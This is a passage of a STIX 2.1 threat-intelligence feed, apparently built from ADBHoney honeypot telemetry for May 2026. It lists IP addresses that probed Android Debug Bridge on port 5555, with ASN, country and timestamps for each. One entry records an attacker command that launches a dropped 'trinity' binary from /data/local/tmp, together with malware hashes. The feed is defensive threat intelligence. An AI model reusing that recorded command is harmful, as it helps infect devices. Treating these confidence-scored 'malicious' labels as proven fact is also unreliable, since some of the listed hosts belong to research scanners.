          "first_seen": "2026-05-22T16:02:46.000Z",
          "last_seen": "2026-05-22T16:03:47.650Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-22T17:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-22T16:32:01.000Z | last_seen=2026-05-22T16:33:18.343Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--3cc7ea66-e156-494a-bd1c-17691371e217",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:00:01.000Z",
      "valid_until": "2026-06-23T17:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-22T16:32:01.000Z",
          "last_seen": "2026-05-22T16:33:18.343Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=202412; asn_org=Omegatech LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-22T23:16:17.000Z | last_seen=2026-05-23T08:51:16.080Z | ports=5555 | cc=US | asn=202412 | org=Omegatech LTD",
      "id": "indicator--6bc12b6e-452d-44e5-a698-a3b3a289f3ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.74.59.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:00:02.000Z",
      "valid_until": "2026-06-24T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-22T23:16:17.000Z",
          "last_seen": "2026-05-23T08:51:16.080Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202412"
          ],
          "org": [
            "Omegatech LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T01:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-23T00:35:06.000Z | last_seen=2026-05-23T00:36:14.516Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--d015ab5e-d767-4228-bd7d-5e53b92db6c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:00:02.000Z",
      "valid_until": "2026-06-24T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-23T00:35:06.000Z",
          "last_seen": "2026-05-23T00:36:14.516Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=36352; asn_org=HostPapa; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=19 | first_seen=2026-05-23T05:25:03.000Z | last_seen=2026-05-23T05:35:26.544Z | ports=5555 | cc=US | asn=36352 | org=HostPapa",
      "id": "indicator--bb9ac43e-953a-4693-89a1-8e58cd709549",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.12.106.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:00:04.000Z",
      "valid_until": "2026-06-24T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 19,
          "first_seen": "2026-05-23T05:25:03.000Z",
          "last_seen": "2026-05-23T05:35:26.544Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "36352"
          ],
          "org": [
            "HostPapa"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-23T06:18:15.000Z | last_seen=2026-05-23T06:19:22.101Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--1b87f097-e73d-45bc-aadc-7fbf42519d95",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:00:03.000Z",
      "valid_until": "2026-06-24T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-23T06:18:15.000Z",
          "last_seen": "2026-05-23T06:19:22.101Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T08:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=60; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=28; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=60 | first_seen=2026-05-23T07:03:04.000Z | last_seen=2026-05-23T07:16:36.862Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--a8bf6adf-0e28-4556-b4d2-c266d7a4c936",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '112.224.151.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:00:03.000Z",
      "valid_until": "2026-06-24T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 60,
          "first_seen": "2026-05-23T07:03:04.000Z",
          "last_seen": "2026-05-23T07:16:36.862Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-23T09:14:52.000Z | last_seen=2026-05-23T09:25:09.437Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--695dc3df-94db-4a5a-949b-7c10740d5684",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '111.113.89.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:00:03.000Z",
      "valid_until": "2026-06-24T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-23T09:14:52.000Z",
          "last_seen": "2026-05-23T09:25:09.437Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=CN; asn=17622; asn_org=China Unicom Guangzhou network; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-23T09:14:27.000Z | last_seen=2026-05-23T09:24:44.571Z | ports=5555 | cc=CN | asn=17622 | org=China Unicom Guangzhou network",
      "id": "indicator--a5c4c682-2c55-4f1d-8001-b900b74c61ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '112.94.191.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:00:03.000Z",
      "valid_until": "2026-06-24T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-23T09:14:27.000Z",
          "last_seen": "2026-05-23T09:24:44.571Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "17622"
          ],
          "org": [
            "China Unicom Guangzhou network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-23T09:13:42.000Z | last_seen=2026-05-23T09:14:45.451Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--1da32744-6fc8-43be-a063-827c7fbc7907",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '113.57.184.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:00:03.000Z",
      "valid_until": "2026-06-24T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-23T09:13:42.000Z",
          "last_seen": "2026-05-23T09:14:45.451Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-23T09:14:08.000Z | last_seen=2026-05-23T09:24:20.713Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--20a00463-d779-4010-82fd-a3d8819a2942",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '118.212.122.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:00:03.000Z",
      "valid_until": "2026-06-24T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-23T09:14:08.000Z",
          "last_seen": "2026-05-23T09:24:20.713Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-23T09:14:25.000Z | last_seen=2026-05-23T09:15:28.188Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--056fa306-96f9-492a-bb0b-6f052d5e205b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '120.36.16.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:00:03.000Z",
      "valid_until": "2026-06-24T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-23T09:14:25.000Z",
          "last_seen": "2026-05-23T09:15:28.188Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-23T09:13:53.000Z | last_seen=2026-05-23T09:24:01.734Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--aa4acd3a-e6c8-432f-9cb8-fec0f1cca9a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '175.30.48.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:00:03.000Z",
      "valid_until": "2026-06-24T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-23T09:13:53.000Z",
          "last_seen": "2026-05-23T09:24:01.734Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-23T09:14:44.000Z | last_seen=2026-05-23T09:24:59.497Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--2da19d92-eafd-4499-adc5-8d9d5658271b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '182.119.228.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:00:03.000Z",
      "valid_until": "2026-06-24T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-23T09:14:44.000Z",
          "last_seen": "2026-05-23T09:24:59.497Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-23T09:13:44.000Z | last_seen=2026-05-23T09:24:05.715Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--b917233e-88a1-4276-8bbe-50ce69d2326e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '220.250.11.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:00:03.000Z",
      "valid_until": "2026-06-24T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-23T09:13:44.000Z",
          "last_seen": "2026-05-23T09:24:05.715Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-23T09:14:16.000Z | last_seen=2026-05-23T09:24:31.634Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--56530465-382e-45c1-9660-ad7a92cc742d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '43.248.109.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:00:03.000Z",
      "valid_until": "2026-06-24T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-23T09:14:16.000Z",
          "last_seen": "2026-05-23T09:24:31.634Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-23T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-23T10:02:11.000Z | last_seen=2026-05-23T10:12:20.828Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--3a1b251a-7b36-4401-b7af-a4836d8afc39",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '118.112.211.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:00:02.000Z",
      "valid_until": "2026-06-24T11:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
